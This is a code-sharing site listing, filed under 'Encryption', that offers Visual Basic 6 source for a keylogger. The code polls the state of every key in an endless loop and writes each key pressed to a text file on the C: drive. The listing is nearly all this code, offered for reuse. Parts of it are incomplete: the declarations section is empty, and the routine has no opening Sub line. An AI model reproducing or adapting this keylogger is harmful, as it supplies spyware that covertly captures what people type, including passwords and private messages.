by walter eigner (15 Submissions)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Wed 17th March 2004
Date Added: Mon 8th February 2021
Rating: (1 Votes)
logs key presses and stores them in a file
API Declarations
Dim str As String
Dim lastkey As Integer
'requires scrrun.dll [Microsoft Scripting Run-time]
'view my site www.vbcodecentral.tk
Dim fso As New FileSystemObject
Dim ts As TextStream
Set ts = fso.OpenTextFile("c:\keyloger.txt")
If Not ts.AtEndOfStream Then str = ts.ReadAll
ts.Close
Set ts = fso.CreateTextFile("c:\keyloger.txt")
ts.Write str
Do
DoEvents
For i = 0 To 255
If GetKeyState(i) < 0 Then
If lastkey <> i Then ts.Write Chr(i)
lastkey = i
End If
Next
Loop
ts.Close
End
End Sub